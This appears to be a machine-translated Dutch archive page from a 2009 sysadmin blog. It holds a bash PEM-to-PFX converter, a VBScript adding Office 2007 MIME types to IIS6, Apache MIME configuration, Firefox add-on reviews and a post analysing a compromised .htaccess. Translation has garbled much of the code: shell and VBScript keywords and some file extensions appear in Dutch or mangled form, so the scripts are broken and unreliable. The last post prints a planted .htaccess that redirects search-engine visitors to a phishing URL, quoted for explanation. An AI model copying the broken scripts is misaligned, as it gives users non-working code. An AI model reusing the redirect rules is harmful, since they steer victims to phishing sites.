Tag-Archief voor » die «

Woensdag, 18 maart, 2009 | Auteur:

[uitgeven] Zo veel voor dat. Het blijkt dat openssl is in staat om vast te stellen dat de sleutel en het certificaat zijn al in een enkel bestand. Daarom, geen csplitting vereist (goed, Ik hoop dat iemand dit leest tenminste geleerd over hoe leuk csplit is). In werkelijkheid, het hele script kan net zo goed worden achterhaald… blaargh. Goed, tenminste het geeft een aardige waarschuwing over het niet geven van een blanco wachtwoord. 😀

Hier is de nieuwe versie:

pem2pfx – converteert een. pem-geformatteerd bestand met een persoonlijke sleutel en certificaat in een Windows-compatibel. pfx certificaatbestand.

#!/bin/bash
#pem2pfx
#v0.2
#Tricky - breeendeenn@swikftspirit.co.za
# Converteert een. Pem bestand aan. Pfx formaat
# $1 is het bronbestand
reeks -en
 
indien [ $# = 1 ]; dan
  outputfile=`echo $1 | maar 'S / .pem $ /. Pfx /'`
 
  echo "Geef een wachtwoord in. Windows weigert een. Pfx certificaat met een blanco wachtwoord importeren."
  openssl pkcs12 -export -uit $outputfile -in $1
 
 anders
  echo "Pem2pfx - converteert een. pem geformatteerd prive-sleutel en het certificaat bestand naar een IIS-compatibele pfx bestand.."
  echo "Gebruik: pem2pfx inputfile.pem"
zijn

meer…

Delen
Zaterdag, Februari 21, 2009 | Auteur:

De relatief nieuwe documenttypes Kantoor 2007 heeft een aantal web hosts problemen krijgen wanneer hun klanten willen documenten te downloaden bieden. Meest voorkomend, de documenten die worden aangeboden door de webserver als “text / html” die vervolgens wordt weergegeven als een ton vuilnis op het scherm van het web gebruiker.

De beste manier om dit op te lossen is om alle voegen MIME soorten aan hoofd configuratie van de server. IIS7 voor Windows heeft al deze MIME types correct ingesteld standaard. IIS6 en IIS5 vereisen de MIME-types worden toegevoegd, als macht Apache Op oudere installaties. Voor Apache, er is ook een tijdelijke oplossing voor de individuele eigenaar van de domeinnaam aan de mime types toevoegen via Apache's .htaccess bestand.

IIS 6 MIME-type aanvulling (voor de Server Administrator)

Voordat dit kan worden gedaan, ervoor te zorgen dat uw server ook is ingesteld op de directe metabase bewerken weer mogelijk:

  1. Belasting IIS-beheer: Start -> Run, “inetmgr” -> [OK]
  2. Klik met de rechtermuisknop de “server” en klik op “Properties”
  3. Binnen “Internet Information Services” tab (meestal het enige tabblad), waarborgen dat de “Eneenstaat Direct Metabase bewerken” checkbox is aangevinkt.
  4. Klikken [OK]

Zorg ervoor dat u back-up van de configuratie IIS's (hier voor IIS5) vooraf. Ik zal geen enkele verantwoordelijkheid voor een admin nemen breken van zijn server. Ik heb reden om dit te geloven kunnen werken ook op IIS5 maar ik heb net zo veel reden om te geloven dat het gewoon zou kunnen geven veel fouten. Als een IIS5 / Windows 2000 admin is bereid om dit te testen voor mij na een back-up uw configuratie laat het me weten van de resultaten.

Kopieer de volgende tekst in een bestand met de naam msoff07-addmime.vbs en voer het uit eens vanaf de commandline door te typen cscript msoff07-addmime.vbs en op Enter te drukken. Als je het meer dan eens lopen, de MIME-types zal telkens worden toegevoegd en je zal meerdere identieke inzendingen:

'Dit script voegt de nodige Office 2007 MIME types voor een IIS 6 Server.
'Om dit script te gebruiken, gewoon dubbelklikken of voer het uit vanaf een opdrachtregel.
'Running dit script meerdere keren resultaten in meerdere vermeldingen in de
'IIS MimeMap zodat u het niet meer dan eens uit.
'Modified van http://msdn.microsoft.com/en-us/library/ms752346.aspx
 
Geen MimeMapObj, MimeMapArray, MimeTypesToAddArray, WshShell, oExec
Const ADS_PROPERTY_UPDATE = 2 
 
'Stel de MIME-types worden toegevoegd
MimeTypesToAddArray = Reeks(".docm", "Application / vnd.ms-word.document.macroEnabled.12", _
".docx", "Application / vnd.openxmlformats-officedocument.wordprocessingml.document", _
".dotm", "Application / vnd.ms-word.template.macroEnabled.12", _
".dotx", "Application / vnd.openxmlformats-officedocument.wordprocessingml.template", _
".potm", "Application / vnd.ms-powerpoint.template.macroEnabled.12", _
".potx", "Application / vnd.openxmlformats-officedocument.presentationml.template", _
".ppam", "Toepassing / vnd.ms-powerpoint.addin.macroEnabled.12", _
".PPSM Geregistreerd", "Application / vnd.ms-powerpoint.slideshow.macroEnabled.12", _
".ppsx", "Application / vnd.openxmlformats-officedocument.presentationml.slideshow", _
".pptm", "Application / vnd.ms-powerpoint.presentation.macroEnabled.12", _
".pptx", "Application / vnd.openxmlformats-officedocument.presentationml.presentation", _
"Sldm", "Application / vnd.ms-powerpoint.slide.macroEnabled.12", _
"Sldx", "Application / vnd.openxmlformats-officedocument.presentationml.slide", _
".xlam", "Toepassing / vnd.ms-excel.addin.macroEnabled.12", _
"XLSB", "Application / vnd.ms-excel.sheet.binary.macroEnabled.12", _
"Xlsm", "Application / vnd.ms-excel.sheet.macroEnabled.12", _
".xlsx", "Application / vnd.openxmlformats-officedocument.spreadsheetml.sheet", _
"XLTM", "Application / vnd.ms-excel.template.macroEnabled.12", _
"Xltx", "Application / vnd.openxmlformats-officedocument.spreadsheetml.template") 
 
'Haal de mimemap object
Set MimeMapObj = GetObject("IIS://Localhost / MimeMap")
 
'Bel AddMimeType voor elk paar uitbreiding / MIME-type
Voor teller = 0 aan Gebonden(MimeTypesToAddArray) Stap 2
    AddMimeType MimeTypesToAddArray(teller), MimeTypesToAddArray(teller+1)
Volgende
 
'Maak een Shell-object
Set WshShell = CreateObject("WScript.Shell")
 
'Stop en Start de IIS-service
Set oExec = WshShell.Exec("Net stop w3svc")
Van Terwijl oExec.Toestand = 0
    WScript.Slaap 100
Lus
 
Set oExec = WshShell.Exec("Net start w3svc")
Van Terwijl oExec.Toestand = 0
    WScript.Slaap 100
Lus
 
Set oExec = Niets
 
'Meld status gebruiker
WScript.Echo "Microsoft Office 2007 Document MIME types zijn geregistreerd."
 
'AddMimeType Sub
Sub AddMimeType (Ext, MType)
 
    'Haal de toewijzingen van het pand MimeMap.
    MimeMapArray = MimeMapObj.GetEx("MimeMap") 
 
    'Voeg een nieuwe mapping.
    ik = Gebonden(MimeMapArray) + 1
    Dik Behouden MimeMapArray(ik)
    Set MimeMapArray(ik) = CreateObject("MimeMap")
    MimeMapArray(ik).Uitbreiding = Ext
    MimeMapArray(ik).MimeType = MType
    MimeMapObj.Putex ADS_PROPERTY_UPDATE, "MimeMap", MimeMapArray
    MimeMapObj.Setinfo
 
Einde Sub

Apache MIME-type aanvulling (voor de Server Administrator)

Apache slaat zijn MIME-types in een bestand bevindt zich normaal op $installpath / conf / mime.types. Zie de mod_mime documentatie voor meer informatie over hoe het werkt. Arch Linux installeert het MIME types op /etc / httpd / conf / mime.types en Parallels Plesk installeert deze in /usr / local / psa / admin / conf / mime.types. Uw distributie zou het hebben op een andere plaats, dus vind je mime.types bestand door het uitvoeren van lokaliseren mime.types.

Voeg de volgende regels toe aan uw mime.types bestand:

application/vnd.ms-word.document.macroEnabled.12                          docm
application/vnd.openxmlformats-officedocument.wordprocessingml.document   docx
application/vnd.ms-word.template.macroEnabled.12                          dotm
application/vnd.openxmlformats-officedocument.wordprocessingml.template   dotx
application/vnd.ms-powerpoint.template.macroEnabled.12                    potm
application/vnd.openxmlformats-officedocument.presentationml.template     potx
application/vnd.ms-powerpoint.addin.macroEnabled.12                       ppam
application/vnd.ms-powerpoint.slideshow.macroEnabled.12                   ppsm
application/vnd.openxmlformats-officedocument.presentationml.slideshow    ppsx
application/vnd.ms-powerpoint.presentation.macroEnabled.12                pptm
application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
application/vnd.ms-powerpoint.slide.macroEnabled.12                       sldm
application/vnd.openxmlformats-officedocument.presentationml.slide        sldx
application/vnd.ms-excel.addin.macroEnabled.12                            xlam
application/vnd.ms-excel.sheet.binary.macroEnabled.12                     xlsb
application/vnd.ms-excel.sheet.macroEnabled.12                            xlsm
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet         xlsx
application/vnd.ms-excel.template.macroEnabled.12                         xltm
application/vnd.openxmlformats-officedocument.spreadsheetml.template      xltx

Apache MIME-type aanvulling (Voor Domein minstens FTP toegang – met behulp van .htaccess bestand)

Voeg de volgende tekst aan uw domein .htaccess bestand, meestal in een httpdocs / adresboek

AddType application / vnd.ms-word.document.macroEnabled.12 docm
AddType application / vnd.openxmlformats-officedocument.wordprocessingml.document docx
AddType application / vnd.ms-word.template.macroEnabled.12 DOTM
AddType application / vnd.openxmlformats-officedocument.wordprocessingml.template dotx
AddType application / vnd.ms-powerpoint.template.macroEnabled.12 potm
AddType application / vnd.openxmlformats-officedocument.presentationml.template potx
AddType application / vnd.ms-powerpoint.addin.macroEnabled.12 MISP
AddType application / vnd.ms-powerpoint.slideshow.macroEnabled.12 PPSM
AddType application / vnd.openxmlformats-officedocument.presentationml.slideshow ppsx
AddType application / vnd.ms-powerpoint.presentation.macroEnabled.12 PPTM
AddType application / vnd.openxmlformats-officedocument.presentationml.presentation pptx
AddType application / vnd.ms-powerpoint.slide.macroEnabled.12 sldm
AddType application / vnd.openxmlformats-officedocument.presentationml.slide sldx
AddType application / vnd.ms-excel.addin.macroEnabled.12 xlam
AddType application / vnd.ms-excel.sheet.binary.macroEnabled.12 XLSB
AddType application / vnd.ms-excel.sheet.macroEnabled.12 xlsm
AddType application / vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
AddType application / vnd.ms-excel.template.macroEnabled.12 XLTM
AddType application / vnd.openxmlformats-officedocument.spreadsheetml.template xltx
Delen
Zaterdag, Februari 21, 2009 | Auteur:

and my Personal Rating (PR) out of 10 😉

I use Firefox so most of these won’t apply to non-FF users. Echter, I’d be very very interested to hear what other addons my friends, subscribers, and random websurfers find interesting or useful to them. Have your say and let us know why you love the addons you love. 🙂

Persoonlijk, I prefer addons that aren’t intrusive. Ideally, an addon must have a minimal interface and give me a measurable benefit for me to keep it installed.

Cacheviewer – 7

This is a GUI front-end for the Cache Firefox keeps of the last few pages and media. I’ve found this addon more interesting than useful right now so I’m probably going to remove it soon.

ColorfulTabs – 9

I love the colours. De tab kleur-groepering werkt niet erg goed werken wanneer u te bereiken over 30 tabs hoewel… :-/

Download Statusbar – 10

Ik geef de voorkeur hebben van alles in Firefox in één venster in tabs. Het hebben van een download doos in een apart venster is een big no-no voor mij. Het bespaart ook screen real-estate want het is zeer minimaal. 🙂

video DownloadHelper – 10

Video DownloadHelper zoekt naar streaming media – specifiek op zoek naar een grote inhoud die wordt gedownload. Wanneer u klikt op het icoon, het toont u de momenteel het downloaden van beken en geeft je de optie om het wachtrij als een “normaal” Downloaden.

Omdat je weet nooit of FF gaat crashen of de stroom gaat snijden, Ik zou liever een kopie naar mijn desktop te redden en ik kan dan de video te bekijken zonder het gebruik van meer bandbreedte om de video opnieuw te downloaden. Ook, op het werk, als mensen stuur mij links naar youtube of andere media, Meestal doe ik niet de moeite te kijken tot veel na – naar mijn eigen vrije tijd of tijdens een pauze.

verstrijken Canarische – 9

Deze nette en minimale addon vertelt je of het SSL-certificaat voor de site die u momenteel bekijkt binnenkort gaat verlopen. Als uw eigen site heeft een SSL-certificaat, Ik beveel u deze addon gebruiken om te helpen voorkomen dat SSL-certificaat van uw site verlopen als gevolg van een eenvoudige gebrek aan kennisgeving of miscommunicatie.

Fasterfox – 8

Fasterfox voegt enkele netwerk optmisation opties. Sommige van de opties zou kunnen maken uw bedrijfsnetwerk admin een beetje gek met u al. 😉

Firebug – 9

Voor web development en het experimenteren met pagina's. Geweldig voor het testen van kleine stukjes code, alsmede het debuggen van pagina's.

FoxClocks – 6

dwalen – vertelt u de tijd in andere tijdzones. o.o was nuttig voor een korte tijd – nu zijn overbodig omdat mijn hoofd werkt it out sneller dan ik kan oogopslag. rm -f

FoxyProxy – 9

Geweldig voor het browsen specifieke pagina's door middel van specifieke proxy servers. Dit is handig voor wanneer sommige sites zijn geblokkeerd of de SAIX Transparante Proxy servers werken niet goed. 🙂

Ik gebruik deze om de route wat verkeer via proxy-servers die ik liever niet gaan door middel van standaard routes. Het is ook zeer flexibel. Als u meer dan een proxy-server beschikbaar is en degene die je meestal plotseling gebruiken gaat het knipperen, gewoon overschakelen naar de volgende. 🙂

Greasemonkey – 10

Nu, Ik gebruik deze alleen voor de GooglemonkeyR script. Dit script reformats Google‘S zoekresultaten om uw specificaties en heeft ook een optie om kleine miniatuur van de pagina's van Google koppelingen te tonen. Greasemonkey kan doen lot meer en er zijn tal van scripts gemakkelijk beschikbaar voor velen veel sites.

Live HTTP headers – 8

Ik heb dit een paar keer gebruikt om gzip compressie problemen met IIS webservers te diagnosticeren. Niet veel anders te zeggen hoewel: Het werkt.

levende PageRank – 10 (tot dusver – alleen geïnstalleerd gisteren)

Deze addon lijkt eenvoudig genoeg. Het wordt de PageRank van Google en laat zien dat het in de lade.

NoScript – 10

NoScript is geweldig in het blokkeren van advertenties. Het is een beetje irritant in eerste instantie omdat je moet alle sites die u wilt witte lijst – maar op de lange termijn is het zoooo waard. 🙂

herrijzen Pages – 10

Erg handig voor als u bladeren naar een site en het gebeurt te beneden. Als de site-static-inhoudelijke dan dit maakt het gemakkelijk om snel de inhoud te vinden als haar online gecached.

Tab Mix Plus – 8

Geweldig voor als u meer dan 7-of-zo tabs.

ShowIP (met behulp van een versie aangepast voor werkdoeleinden – toont canonieke naam bedrijfsserver's tijdens het browsen) – 10

I cannot imagine the hell I’d have to go through to identify a server without this plugin. Okay, I can. Used to have to do this all the time. I eventually scripted it but I can’t find the original script. Here’s my 60-second attempt at recreating what was in that script:

$ cat /etc/hosts | grep `dig A $hostname @mycachingnameserver | greep . | grep -v "^;"`
$ dig -x `dig A $hostname @mycachingnameserver | grep ^$hostname | grep A | \
  awk '/[.]/{print $5}'` @mycachingnameserver | greep . | grep -v "^;"

Web Developer – 9

I used this once to diagnose some issues with a page. I don’t do much web development so I’m going to remove this one. Its no comment on its capabilities since I believe this is a top notch add-on indien you’re doing a lot of web development work.

Delen
Donderdag, January 22nd, 2009 | Auteur:

I very recently found a problem with a client’s web site due to a .htaccess bestand. The site was hosted on a Windows server running IIS using IISPassword, which makes use of .htaccess files for its settings.

IISPassword doesn’t follow exactly the same rules as with Apache echter. If the .htaccess file exists then it must contain IISPassword-appropriate rules, otherwise the server returns only the following error:

Error 500 given by IIS Password
Here’s the content of the .htaccess file. I’ve only modified the final redirection URL to point to example.com appropriately:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://siffy-phishing-url.example.com [R,L]

If this were on a server running Apache with mod_rewrite, most web users would go directly to the correct site content. Only if they reached the site through the search engines and indexes listed in the .htaccess, would they be redirected to the siffy phishing url that the cracker wants victims to reach.

Natuurlijk, the cracker (or perhaps even an automated worm) didn’t realise that the server in question didn’t even support these mod_rewrite rules. But either way, this is very worrying as I can foresee many arguments about whether or not the site is working

Delen